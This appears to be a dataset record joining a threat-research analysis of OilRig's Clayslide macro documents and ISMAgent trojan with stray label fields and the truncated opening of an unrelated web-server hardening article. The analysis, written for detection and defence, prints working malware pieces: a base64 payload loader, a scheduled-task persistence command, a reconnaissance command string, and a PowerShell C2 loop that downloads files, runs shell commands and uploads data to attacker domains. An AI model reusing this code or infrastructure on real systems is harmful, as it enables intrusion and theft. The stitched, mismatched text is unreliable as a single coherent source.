We identified the Excel file attached to the delivery email as a variant of the Clayslide delivery documents used by the OilRig campaign. A closer look revealed that although it was similar to previous Clayslide documents, it was also quite different in several aspects. Like the previous samples, it displays a worksheet titled \xe2\x80\x9cIncompatible\xe2\x80\x9d containing a banner that shows a fake compatibility warning message (Figure 1). The message is an attempt to trick the user into clicking the \xe2\x80\x9cEnable Content\xe2\x80\x9d button, which would run a malicious macro embedded within the Excel file Figure 1 Incompatible message attempting to trick the victim into enabling macros The macro within the delivery document will unhide and display a new worksheet that contains a fake invoice for Citrix products, as seen in Figure 2. This fake invoice acts as a decoy document to minimize the user\xe2\x80\x99s suspicions that any malicious activity occurred. Figure 2 Decoy document opened to minimize suspicions of compromise While the macro displays the decoy invoice spreadsheet, it silently runs malicious code in the background to install its payload. The malicious code starts by concatenating several base64 encoded strings into a single variable. As you can see in the following code snippet, the variable name \xe2\x80\x9cPaltofp1\xe2\x80\x9d suggests that the author of this code may want our attention: Paltofp1 = ""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"" Paltofp1 = Paltofp1 + ""AAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v"" Paltofp1 = Paltofp1 + ""ZGUuDQ0KJAAAAAAAAAAtSGbjaSkIsGkpCLBpKQiw3bX5sGUpCLDdtfuw5ykIsN21+rBwKQiw94nP"" Paltofp1 = Paltofp1 + ""sGgpCLCMcAuxeikIsIxwDbFLKQiwjHAMsXgpCLBgUZuweCkIsGkpCbAHKQiwm3ABsWgpCLCbcPew"" Paltofp1 = Paltofp1 + ""aCkIsJtwCrFoKQiwUmljaGkpCLAAAAAAAAAAAFBFAABMAQUAEphZWQAAAAAAAAAA4AACAQsBDgAA"" [..snipped..] 1 2 3 4 5 6 Paltofp1 = ""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"" Paltofp1 = Paltofp1 + ""AAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v"" Paltofp1 = Paltofp1 + ""ZGUuDQ0KJAAAAAAAAAAtSGbjaSkIsGkpCLBpKQiw3bX5sGUpCLDdtfuw5ykIsN21+rBwKQiw94nP"" Paltofp1 = Paltofp1 + ""sGgpCLCMcAuxeikIsIxwDbFLKQiwjHAMsXgpCLBgUZuweCkIsGkpCbAHKQiwm3ABsWgpCLCbcPew"" Paltofp1 = Paltofp1 + ""aCkIsJtwCrFoKQiwUmljaGkpCLAAAAAAAAAAAFBFAABMAQUAEphZWQAAAAAAAAAA4AACAQsBDgAA"" [..snipped..] The macro then writes the concatenated base64 encoded data to the file %PUBLIC%\\Libraries\\B642.txt. It then reads in the \xe2\x80\x9cB642.txt\xe2\x80\x9d file and decodes the data, which it will save to the file %PUBLIC%\\Libraries\\servicereset.exe (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9). The servicereset.exe file is the payload of this attack, which is a variant of ISMDoor that we track as ISMAgent. The script then creates a file named %PUBLIC%\\Libraries\\OfficeServicesStatus.vbs which contains a VBScript that will execute the \xe2\x80\x9cservicereset.exe\xe2\x80\x9d file using the command line. Lastly, as a persistence mechanism, a scheduled task named \xe2\x80\x9cOfficeServicesStatus\xe2\x80\x9d will be created, set to run every three minutes, as seen in Figure 3. Figure 3 Scheduled task created by the macro within the delivery document An Iterative Task While hunting for other samples similar to the one observed in the attack against the technology organization, we discovered yet another variant of Clayslide (SHA256: 5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902). This sample was dated June 2017, a month older than the newest version containing ISMAgent. Based upon timestamping and similarities with both the original Clayslide documents as well as the newest ISMAgent loaded ones, we believe this June 2016 sample to be an iterative version of Clayslide. The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document, but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated, this variant obtained its payload from multiple cells within the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet. This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks. Also, the June 2017 sample contained artifacts observed in previous Clayslide documents as documented in a blog post we published in April. Specifically, we found this comment: source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html 1 source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html along with the following common function names within the macro code: Private Sub Workbook_Open() Call fireeye_Init Call fireeye_ShowHideSheets End Sub 1 2 3 4 Private Sub Workbook_Open() \xc2 \xc2 \xc2 \xc2 Call fireeye_Init \xc2 \xc2 \xc2 \xc2 Call fireeye_ShowHideSheets End Sub Although structurally the document was more similar to the originally discovered Clayslide documents, this June 2017 sample was designed to load ISMAgent instead of Helminth. We do not have targeting details for this sample, although the decoy document contained a similar theme to the newest Clayslide document, displaying vendor related information (Figure 4). Figure 4 Decoy document A table displaying the differences in each variant of Clayslide is below: Original Clayslide June Clayslide Newest Clayslide Helminth X ISMAgent X X OfficeServicesStatus X X Base64 in multiple cells X X Source code comment X X Table 1 Comparison of Clayslide versions The payload (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9) delivered in the June 2016 attack is a variant of the recent ISMDoor versions that use DNS tunneling for its C2 communications. On May 1, 2017, Arbor Networks published research on ISMDoor using DNS tunneling to communicate with its C2 server, which is nearly identical to the DNS tunneling the payload of this attack carries out. Due to considerable differences and evidence of potentially different authors between the previous ISMDoor samples and this newly discovered variant, we are tracking this new variant as ISMAgent. On-demand Configuration The ISMAgent tool comes with a default configuration that specifies the C2 domain and the number of minutes between further attempts to execute the tool. However, an actor can use command line arguments to create a new ISMAgent sample that is configured with a specified C2 domain and a specified number of minutes to automatically execute the Trojan. The following command line arguments are supported: Argument Description -c Configures a second domain to use for C2 communications -m Configures the number of minutes that a scheduled task should execute the payload Table 2 Command line options available in ISMAgent for configuration If the Trojan is executed with these arguments, the Trojan will read its own file data in, and search for two strings of characters within the data that it will overwrite with the configured settings. The Trojan searches for a string of \xe2\x80\x9c^\xe2\x80\x9d characters that it will overwrite with the C2 domain provided via the \xe2\x80\x9c-c\xe2\x80\x9d argument, and it searches for the string \xe2\x80\x9c%%%%\xe2\x80\x9d that it will replace with the number of minutes provided via the \xe2\x80\x9c-m\xe2\x80\x9d argument. The \xe2\x80\x9c%%%%\xe2\x80\x9d string exists within the following larger string, that the Trojan uses as a command to execute in order to create a scheduled task named \xe2\x80\x9cTimeUpdate\xe2\x80\x9d to execute the payload after the specified number of minutes passes: cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1 || schtasks /create /sc minute /mo %%%% /tn TimeUpdate /tr \\""\\\\\\"" 1 cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1 || schtasks /create /sc minute /mo %%%% /tn TimeUpdate /tr \\""\\\\\\"" Command and Control The Trojan is able to use two mechanisms to communicate with its C2 server: HTTP requests and DNS tunneling. The DNS tunneling protocol found in this payload is remarkably similar to recent ISMDoor samples, as documented in Arbor Networks\xe2\x80\x99 research. Similar message handling is found in both ISMAgent and ISMDoor, in addition to the existence of strings in both samples, such the hardcoded IPv6 values. The similarities may allow for backward compatibility between ISMAgent and ISMDoor C2 infrastructure. In the payloads themselves, a number of differences exist, enough that in essence they appear to be different tools. Regardless of the communications method used, the Trojan will parse the received data from the C2 server for a GUID field that the Trojan will use as a unique identifier, as well as commands the Trojan should run on the compromised system: [GUID provided by C2]#command#[URL to download file to system]#[command to execute via cmd.exe]#[path to filename to upload to C2] 1 [GUID provided by C2]#command#[URL to download file to system]#[command to execute via cmd.exe]#[path to filename to upload to C2] HTTP C2 Communications ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends \xe2\x80\x9cwww.\xe2\x80\x9d to the configured C2 domain and issues a DNS query to resolve this domain. The Trojan will use the resolved IP address as the host in the HTTP beacon request. For instance, the sample used in this attack was configured to use ntpupdateserver[.]com for its C2 server. The HTTP C2 process would attempt to resolve the domain \xe2\x80\x9cwww.ntpupdateserver[.]com\xe2\x80\x9d, which resolved to 142.54.179[.]90, so the Trojan would use the string \xe2\x80\x9chttp:/w\xe2\x80\x9d as the basis of the C2 URL.\xc2 The initial beacon sent from the Trojan to the C2 server using a URL structured in the following way: http://[IP of C2 domain]/action2/[base64 encoded sername] 1 http://[IP of C2 domain]/action2/[base64 encoded sername] The C2 server will respond to this request with a command string using the previously mentioned format. During the attack on the technology organization,\xc2 we observed the C2 server issuing the following command: 2983b983-0acd-42db-9d86-0b096af5f369#command##systeminfo && ipconfig /all && net user && net user /domain && net group /domain && tasklist && net stat -an && net use# 1 2983b983-0acd-42db-9d86-0b096af5f369#command##systeminfo && ipconfig /all && net user && net user /domain && net group /domain && tasklist && net stat -an && net use# If the C2 server provides a command to execute on the system, the Trojan executes it using cmd.exe and writes the output to %TEMP%\\runlog[random number].tmp. The Trojan will read this runlog file and send it to the C2 server via an HTTP POST request to a URL structured as follows: http://[IP of C2 domain]/response/[base64 encoded sername]/[GUID provided by C2] 1 http://[IP of C2 domain]/response/[base64 encoded sername]/[GUID provided by C2] The HTTP POST request contains an anomalous boundary value of \xe2\x80\x9cmyboundary\xe2\x80\x9d and hardcoded filename value of \xe2\x80\x9ca.a\xe2\x80\x9d, as seen below, which may be used to generate detection signatures for this behavior: POST /response/[redacted]/2983b983-0acd-42db-9d86-0b096af5f369 HTTP/1.1 Host: 142.54.179.90 Content-Type: multipart/form-data; boundary=myboundary User-Agent: Firefox Content-Length: 3868 Cache-Control: no-cache --myboundary Content-Type: application/octet-stream;charset=UTF-8 Content-Disposition: form-data; name=""file""; filename=""a.a"" [output of command prompt] 1 2 3 4 5 6 7 8 9 10 11 12 13 POST /response/[redacted]/2983b983-0acd-42db-9d86-0b096af5f369 HTTP/1.1 Host: 142.54.179.90 Content-Type: multipart/form-data; boundary=myboundary User-Agent: Firefox Content-Length: 3868 Cache-Control: no-cache \xc2 --myboundary Content-Type: application/octet-stream;charset=UTF-8 Content-Disposition: form-data; name=""file""; filename=""a.a"" \xc2 \xc2 [output of command prompt] While we did not observe the C2 server attempting to run additional commands via ISMAgent, we were able to analyze the Trojan itself to determine the functionality of its available commands. If the command string contains a URL to download a file to the system, the Trojan will simply use the URLDownloadToFileA function to download and save the file to the target system in the %TEMP% folder. If the C2 server provides a path to a file it wishes to upload from the system, the Trojan will open the file, read its contents, and then upload its contents via an HTTP POST to the following URL: http://[IP of C2 domain]/upload/[base64 encoded sername]/[GUID provided by C2] 1 http://[IP of C2 domain]/upload/[base64 encoded sername]/[GUID provided by C2] DNS Tunneling for C2 ISMAgent uses its DNS tunneling technique for C2 as a backup to its HTTP capability. This mechanism supports the same command message structure and even handles the commands in the same manner. The Trojan sends data to the C2 server via DNS queries by encoding data and using the encoded string as a subdomain of an actor owned domain. The C2 server can send data to the Trojan by resolving the DNS queries to IPv6 addresses that the Trojan treats as hexadecimal data. To carry out its DNS C2 communications, the Trojan will issue DNS queries to the C2 domain to obtain the AAAA records associated with the domain. The Trojan starts this process by creating a unique GUID and appending it to the string \xe2\x80\x9cn.n.c.\xe2\x80\x9d to create a subdomain to query in the following format: n.n.c.[session value based on GUID].[c2 domain] (ex: n.n.c.303E5CF0A861479B80E2.ntpupdateserver.com) 1 2 n.n.c.[session value based on GUID].[c2 domain] (ex: n.n.c.303E5CF0A861479B80E2.ntpupdateserver.com) To respond to this beacon, the C2 domain\xe2\x80\x99s name server will respond to this query with a hardcoded IPv6 value of a67d:0db8:a2a1:7334:7654:4325:0370:2aa3. This value acts as an acknowledgement of the beacon. The Trojan will then base64 encode the HTTP C2 URL it was using and will send this data to the C2 by constructing and issuing the following DNS query: [base64 encoded data].[iterating sequence number].d.[session value based on GUID].[c2 domain] (ex: aHR0cDovLzE0M.0.d.303E5CF0A861479B80E2.ntpupdateserver.com) 1 2 [base64 encoded data].[iterating sequence number].d.[session value based on GUID].[c2 domain] (ex: aHR0cDovLzE0M.0.d.303E5CF0A861479B80E2.ntpupdateserver.com) The Trojan splits up the base64 encoded data across several DNS queries, which we believe the C2 domain\xe2\x80\x99s name server pieces together using the supplied sequence numbers. The name server will respond to each of these DNS queries with another hardcoded IPv6 value of a67d:0db8:85a3:4325:7654:8a2a:0370:7334 to notify the Trojan that it has received the data. After all of the data is successfully sent via DNS requests, the Trojan will send a final DNS query that has the following structure to notify the C2 server that it has completed its data transfer: n.[iterating sequence number].f.[session value based on GUID].[c2 domain] (ex: n.8.f.303E5CF0A861479B80E2.ntpupdateserver.com) 1 2 n.[iterating sequence number].f.[session value based on GUID].[c2 domain] (ex: n.8.f.303E5CF0A861479B80E2.ntpupdateserver.com) After notifying the C2 server that the data transfer has completed, the Trojan may issue additional DNS queries to notify it is ready to receive data back from the C2 server using the following domain name structure: www.[iterating sequence number].r.[session value based on GUID].[c2 domain] 1 www.[iterating sequence number].r.[session value based on GUID].[c2 domain] The DNS server will then respond to these DNS queries with additional IPv6 addresses that the Trojan will treat as hexadecimal data as described by Arbor Networks. Infrastructure The ISMAgent payload embedded inside the newest variant of Clayslide used the C2 domain ntpupdateserver[.]com. The primary second-level domain has no IP resolution, instead relying on www.ntpupdateserver[.]com for resolution then two specific subdomains of ns1.ntupdateserver[.]com and ns2.ntpupdateserver[.]com as the actual DNS C2 handler. The ISMAgent payload embedded inside the June version used a completely different C2 domain at Microsoft-publisher[.]com, but used the exact same domain name structure. Lastly, we were able to identify a third sample of ISMAgent leveraging another unique C2 domain, adobeproduct[.]com. Ntpupdateserver[.]com Microsoft-publisher[.]com Adobeproduct[.]com 1 2 3 Ntpupdateserver[.]com Microsoft-publisher[.]com Adobeproduct[.]com Figure 5 Primary C2 domains for ISMAgent Pivoting from the WHOIS registrant email address of paul.mcalister[at]mail.com revealed four additional highly suspect domains: fireeyeupdate[.]com chrome-dns[.]com tatavpnservices[.]com miedafire[.]com 1 2 3 4 fireeyeupdate[.]com chrome-dns[.]com tatavpnservices[.]com miedafire[.]com Pivoting on the WHOIS phone number we found two additional domains. These are registered with the same Registrar, have the same WHOIS address, but the registrant name \xe2\x80\x9cbolips\xc2 Angelio\xe2\x80\x9d and email address bolips[at]outlook.com. cache-service[.]net level3-resolvers[.]net 1 2 cache-service[.]net level3-resolvers[.]net Thematically, these domains follow the pattern of ISMAgent and OilRig C2 domain names, abusing typo-squatting techniques in attempts to appear as legitimate domains. Each of these additional domains had the same structure as the three ISMAgent C2 domains, with no IP resolution on the primary second-level domain containing the www, ns1, and ns2 subdomains. Based off the same registrant email address and domain name structure, it is highly probable these other domains are also part of the ISMAgent infrastructure as C2 servers. Lastly, we identified another ISMAgent sample using the C2 domain of adobeproduct[.]com, which again fits thematically and was also found to have the www, ns1, and ns2 subdomains attached to it. These findings are diagrammed below: Figure 6 ISMAgent C2 Infrastructure ISMAgent vs. ISMDoor On the surface, the ISMAgent payload appears similar to the ISMDoor payload, sharing functionality such as a specific DNS tunneling protocol. However, closer analysis shows there are enough differences between the two payloads that justifies tracking ISMAgent as its own tool with its own name. First, all known ISMDoor payloads using DNS tunneling were created for 64-bit architectures, while all known ISMAgent are x86 only. The most recent ISMDoor payloads using DNS tunneling have abandoned HTTP as a C2 communications method compared to earlier ISMDoor samples, whereas ISMAgent uses HTTP as the primary method and DNS tunneling as a secondary method to communicate with its C2 server. Also, while the DNS tunneling protocol is the same, the messages within the transmitted encoded data differs dramatically. After the initial \xe2\x80\x9cn.n.c.\xe2\x80\x9d beacon, ISMAgent sends the HTTP C2 URL as the data via the DNS tunneling protocol to send a beacon to its C2. During our analysis, we observed the sample used in this attack sending the following data immediately after the initial beacon: http://142.54.179[.]90/action2/T0tPODczODAyNTg1NTk4XDVoNkdkTjY5YTR0S0g%3d|| 1 http://142.54.179[.]90/action2/T0tPODczODAyNTg1NTk4XDVoNkdkTjY5YTR0S0g%3d|| Comparatively, ISMDoor sends a much more involved series of messages to the C2 server in order to get a command. The following is a sequence of messages sent from the ISMDoor Trojan to its C2 server via the DNS tunneling protocol, the last message (\xe2\x80\x9cM:GAC?\xe2\x80\x9d) resulting in a command for the Trojan to run: 1. M:CC? 2. M:ME?appId=-1&message=Executed Successfully 3. M:AV?appId=-1&uniqueId=00000000-0000-0000-0000-000000000000 4. M:AV?appId=[appId provided by C2]&uniqueId=[GUID provided by C2] 5. M:GAC?appId=[appId provided by C2] 1 2 3 4 5 1. M:CC? 2. M:ME?appId=-1&message=Executed Successfully 3. M:AV?appId=-1&uniqueId=00000000-0000-0000-0000-000000000000 4. M:AV?appId=[appId provided by C2]&uniqueId=[GUID provided by C2] 5. M:GAC?appId=[appId provided by C2] Lastly, the commands available within ISMAgent and ISMDoor are very different. As mentioned previously, ISMAgent has a far more limited, but flexible command set, allowing an adversary to upload and download files, in addition to command execution via command prompt. The most recent version of ISMDoor (v 10.0.192 SHA256: aa52dcaf6df43c6aa872fe0f73725f61e082d32c33fc976741d4eca17679533d) on the other hand, has a more comprehensive yet more rigid command set: ChangeAliveSeconds ChangeAddress SI GetConfig RunNewVersion restart remove FastAlive ExecuteKL GetVersion PauseUpload ResumeUpload PauseDownload ResumeDownload PWS ImmediateResetRam 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ChangeAliveSeconds ChangeAddress SI GetConfig RunNewVersion restart remove FastAlive ExecuteKL GetVersion PauseUpload ResumeUpload PauseDownload ResumeDownload PWS ImmediateResetRam From Helminth to ISMAgent During our data collection process, we discovered a Clayslide delivery document (SHA256: ca8cec08b4c74cf68c71a39176bfc8ee1ae4372f98f75c892706b2648b1e7530) from September 2016 containing a payload that appeared to be the Helminth script variant as found in other Clayslide documents, but upon further examination was wholly different. The macro within this Clayslide documents obtains a PowerShell script from a cell in the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet, much like previous samples. The macro then saves a VBScript to %PUBLIC%\\Libraries\\LicenseCheck.vbs to run this PowerShell script every 3 minutes. Like the Helminth script variants, this PowerShell script is a malicious payload that uses both HTTP requests and DNS tunneling to interact with its C2 server. However, the HTTP requests and the protocol employed to perform DNS tunneling differs dramatically from Helminth scripts installed by all other known Clayslide samples. The HTTP requests and DNS tunneling protocol found in this PowerShell script are instead identical to ISMAgent. The C2 domain used for this script was mslicensecheck[.]com, which had previously been reported by LogRhythm in their OilRig whitepaper. Interestingly, it was the only domain associated with OilRig that did not have an IP resolution at its second-level, much like the ISMAgent samples. The \xe2\x80\x9cdoIt\xe2\x80\x9d function within the PowerShell script, seen in Figure 7, is responsible for initiating the C2 communications, as well as parsing the data provided by the C2 server to run the appropriate commands. This function uses the strings \xe2\x80\x9c/action2/\xe2\x80\x9d, \xe2\x80\x9c/response/\xe2\x80\x9d and \xe2\x80\x9c/upload/\xe2\x80\x9d within the C2 URLs when using HTTP to communicate with the C2 server. This behavior and these strings were also observed in the ISMAgent C2 behavior. The \xe2\x80\x9cdoIt\xe2\x80\x9d function also shows that the C2 server will respond with data structured the same way as ISMAgent, using \xe2\x80\x9c#\xe2\x80\x9d as a delimiter and various offsets such as offset 0 used in subsequent requests with the C2, offset 2 specifying a URL to download a file from, offset 3 specifying a command to execute using command-prompt, and offset 4 specifying a path to a file to upload to the C2 server. function doIt(){ try{ while($true){ $res = get($ha+""/action2/""+$id) $p = $res.split('#') if ($p.Length -lt 5) { break } $res = $tmp+$p[0] $u = $ha+""/response/""+$id+""/""+$p[0] if ($p[2] -ne '') { $name= $p[2].SubString($p[2].LastIndexOf(""/"")+1) download $p[2] ($tmp+$name) [IO.File]::WriteAllText($res,""done"", [System.Text.Encoding]::Unicode) } if($p[3] -ne ''){ $p[3] | cmd.exe >> $res } if($p[4] -ne ''){ upload $u.Replace(""/response/"",""/upload/"") $p[4] } upload $u $res [IO.File]::Delete($res) } } catch {} } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function doIt(){ try{ \xc2 \xc2 while($true){ \xc2 \xc2 $res = get($ha+""/action2/""+$id) \xc2 \xc2 $p = $res.split('#') \xc2 \xc2 if ($p.Length -lt 5) { break } \xc2 \xc2 $res = $tmp+$p[0] \xc2 \xc2 $u = $ha+""/response/""+$id+""/""+$p[0] \xc2 \xc2 if ($p[2] -ne '') { \xc2 \xc2 \xc2 \xc2 $name= $p[2].SubString($p[2].LastIndexOf(""/"")+1) \xc2 \xc2 \xc2 \xc2 download $p[2] ($tmp+$name) \xc2 \xc2 \xc2 \xc2 [IO.File]::WriteAllText($res,""done"", [System.Text.Encoding]::Unicode) \xc2 \xc2 } \xc2 \xc2 if($p[3] -ne ''){ \xc2 \xc2 \xc2 \xc2 $p[3] | cmd.exe >> $res \xc2 \xc2 } \xc2 \xc2 if($p[4] -ne ''){ \xc2 \xc2 \xc2 \xc2 upload $u.Replace(""/response/"",""/upload/"") $p[4] \xc2 \xc2 } \xc2 \xc2 upload $u $res \xc2 \xc2 [IO.File]::Delete($res) \xc2 \xc2 } } catch {} } Figure 7 The \xe2\x80\x98doIt\xe2\x80\x99 function within the PowerShell script handles C2 interaction and functionality The commonalities between this PowerShell script and ISMAgent do not stop there. The HTTP requests to the C2 server use the exact same URL structure. For instance, the payload generates a URL using the following line of code, which results in a base64 encoded string that contains [hostname/username]: $id=[Convert]::ToBase64String($Enc.GetBytes([System.Net.Dns]::GetHostEntry([string]""localhost"").HostName+""/""+$env:username)).Replace('=','%3d').Replace(""/"",""%2f"").Replace(""+"",""%2b"") 1 $id=[Convert]::ToBase64String($Enc.GetBytes([System.Net.Dns]::GetHostEntry([string]""localhost"").HostName+""/""+$env:username)).Replace('=','%3d').Replace(""/"",""%2f"").Replace(""+"",""%2b"") Also, as seen in the code above, the PowerShell script makes sure the base64 encoded data used is safe to use in an HTTP URL, by replacing the characters \xe2\x80\x9c=\xe2\x80\x9d, \xe2\x80\x9c/\xe2\x80\x9d and \xe2\x80\x9c+\xe2\x80\x9d characters with hexadecimal equivalent. The ISMAgent payloads also performed the exact same replacement, as seen in the portion of code in Figure 8. Figure 8 Code within ISMAgent payload that overlaps character replacement HTTP communications functionality within PowerShell script The DNS tunneling protocol within the PowerShell script is the same as the ISMAgent payload, which can be visualized by the following beacon sent from the PowerShell script: n.n.c.55957d20569c43c9a401e5d446b92b9e.mslicensecheck.com 1 n.n.c.55957d20569c43c9a401e5d446b92b9e.mslicensecheck.com To facilitate the DNS tunneling functionality, the PowerShell script replaces the \xe2\x80\x9c=\xe2\x80\x9d, \xe2\x80\x9c/\xe2\x80\x9d and \xe2\x80\x9c+\xe2\x80\x9d characters within the base64 data sent to the C2 server within the subdomains of DNS queries. However, DNS queries cannot include the \xe2\x80\x9c%\xe2\x80\x9d character, so it uses the following line of code to replace them with \xe2\x80\x9c-\xe2\x80\x9c, \xe2\x80\x9c-s-\xe2\x80\x9c and \xe2\x80\x9c-p-\xe2\x80\x9c instead: $b64=[Convert]::ToBase64String($dt).Replace('=','-').Replace(""/"",""-s-"").Replace(""+"",""-p-"") 1 $b64=[Convert]::ToBase64String($dt).Replace('=','-').Replace(""/"",""-s-"").Replace(""+"",""-p-"") This functionality is again replicated within the ISMAgent payload for its DNS tunneling functionality, as shown in Figure 9. Figure 9 Code within ISMAgent payload that overlaps character replacement within DNS tunneling functionality within PowerShell script Conclusion The OilRig campaign has repeatedly demonstrated a willingness and desire to be iterative in their toolset, while maintaining some level of similarities over time. In this scenario, we were able to directly observe this type of behavior, while also implement a tool thought to be previously unrelated to OilRig. With the inclusion of ISMAgent within the OilRig toolset, we are beginning to see stronger relationships between the various documented groups operating in the Middle East. This region has proven to be a hot bed of espionage motivated activity over the last couple of years, and there appear to be no signs of this changing. As our research continues, our goal will be to generate even better understandings of the true extent of the various operations in this region and the relationships between them. Palo Alto Networks customers are protected and may learn more via the following: Samples are classified as malicious by WildFire and Traps prevents their execution Domains and IPs have been classified as malicious and IPS signatures generated AutoFocus users may learn more via the ISMAgent and Clayslide tags Indicators of Compromise Clayslide delivering ISMAgent 3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6 5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902 ISMAgent payloads bbfc05177e5e29b3c8c4ef0148969d07e6239140da5bff57473c32409e76c070 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9 af4d8604d0cd09b8dc01dbafc33c6d240d356cad366f9917192a2725e0121a0d ISMAgent C2 Adobeproduct[.]com ntpupdateserver[.]com microsoft-publisher[.]com Related infrastructure Miedafire[.]com tatavpnservices[.]com chrome-dns[.]com fireeyeupdate[.]com cache-service[.]net level3-resolvers[.]net Mslicensecheck[.]com \xc2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","1","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0" -"Keeping Web and Database Servers Secure Toggle navigation GET DEMO Pricing Features Vulnerability Scanner Penetration Testing Software Web Application Security Website Security Scanner Enterprise Features External Vulnerability Scanner Network Security Scanner WordPress Vulnerability Scanner Customers Partners About Us Blog Blog Releases Docs & FAQs Events Web Security News GET DEMO Is Your Website Hackable? 70% are. Detect and act with Acunetix Get Demo Is Your Website Hackable? 70% are. Detect and act with Acunetix Download Online Scan Web Server Security and Database Server Security Various high-profile hacking attacks have proven that web security remains the most critical issue to any business that conducts its operations online. Web servers are one of the most targeted public faces of an organization, because of the sensitive data they usually host. Securing a web server is as important as securing the website or web application itself and the network around it. If you have a secure web application and an insecure web server, or vice versa, it still puts your business at a huge risk. Your company\xe2\x80\x99s security is as strong as its weakest point. Although securing a web server can be a daunting operation and requires specialist expertise, it is not an impossible task. Long hours of research and an overdose of coffee and take away food, can save you from long nights at the office, headaches and data breaches in the future. Irrelevant of what web server software and operating system you are running, an out of the box configuration is usually insecure. Therefore one must take some necessary steps in order to increase web server security. Below is a list of tasks one should follow when securing a web server. 1. Remove Unnecessary Services Default operating system installations and configurations, are not secure. In a typical default installation, many network services which won\xe2\x80\x99t be used in a web server configuration are installed, such as remote registry services, print server service, RAS etc. The more services running on an operating system, the more ports will be left open, thus leaving more open doors for malicious users to abuse. Switch off all unnecessary services and disable them, so next time the server is rebooted, they are not started automatically. Switching off unnecessary services will also give an extra boost to your server performances, by freeing some hardware resources. 2. Remote access Although nowadays it is not practical, when possible, server administrators should login to web servers locally. If remote access is needed, one must make sure that the remote connection is secured properly, by using tunneling and encryption protocols. Using security tokens and other single sign on equipment and software, is a very good security practice. Remote access should also be restricted to a specific number of IP\xe2\x80\x99s and to specific accounts only. It is also very important not to use public computers or public networks to access corporate servers remotely, such as in internet caf\xc3\xa9\xe2\x80\x99s or public wireless networks. 3. Separate development / testing / production environment Since it is easier and faster for a developer to develop a newer version of a web application on a production server, it is quite common that development and testing of web applications are done directly on the production servers itself. It is a common occurrence on the internet to find newer versions of a specific website, or some content which should not be available to the public in directories such as /test/, /new/ or other similar sub directories. Because such web applications are in their early development stages, they tend to have a number of vulnerabilities, lack input validation and do not handle exceptions appropriately. Such applications could easily be discovered and exploited by a malicious user, by using free available tools on the internet. To ease more the development and testing of web applications, developers tend to develop specific internal applications that give them privileged access to the web application, databases and other web server resources, which a normal anonymous user would not have. Such applications usually do not have any kind of restriction, since they are just test applications accessed that should be accessed from the developers only. Unfortunately, if development and testing is done on a production server, such applications can easily be discovered from a malicious user, which could help him compromise and gain access on the production server. Ideally, development and testing of web applications should always be done on servers isolated from the internet, and should never use or connect to real life data and databases. 4 .Web application content and server-side scripting The web application or website files and scripts should always be on a separate partition or drive other than that of the operating system, logs and any other system files. Through experience we\xe2\x80\x99ve learnt that hackers who gained access to the web root directory, were able to exploit other vulnerabilities, and were able to go a step further and escalate their privileges to gain access to the data on the whole disc, including the operating system and other system files. From there onwards, the malicious users have access to execute any operating system command, resulting in complete control of the web server. 5. Permissions and privileges File and network services permissions play a vital role in web server security. If a web server engine is compromised via network service software, the malicious user can use the account on which the network service is running to carry out tasks, such as execute specific files. Therefore it is very important to always assign the least privileges needed for a specific network service to run, such as web server software. It is also very important to assign minimum privileges to the anonymous user which is needed to access the website, web application files and also backend data and databases. 6. Install all security patches on time Although having fully patched software does not necessarily mean your server is fully secure, it is still very important to update your operating system and any other software running on it with the latest security patches. Up untill this day, hacking incidents still occur because hackers took advantage and exploited un-patched servers and software. 7. 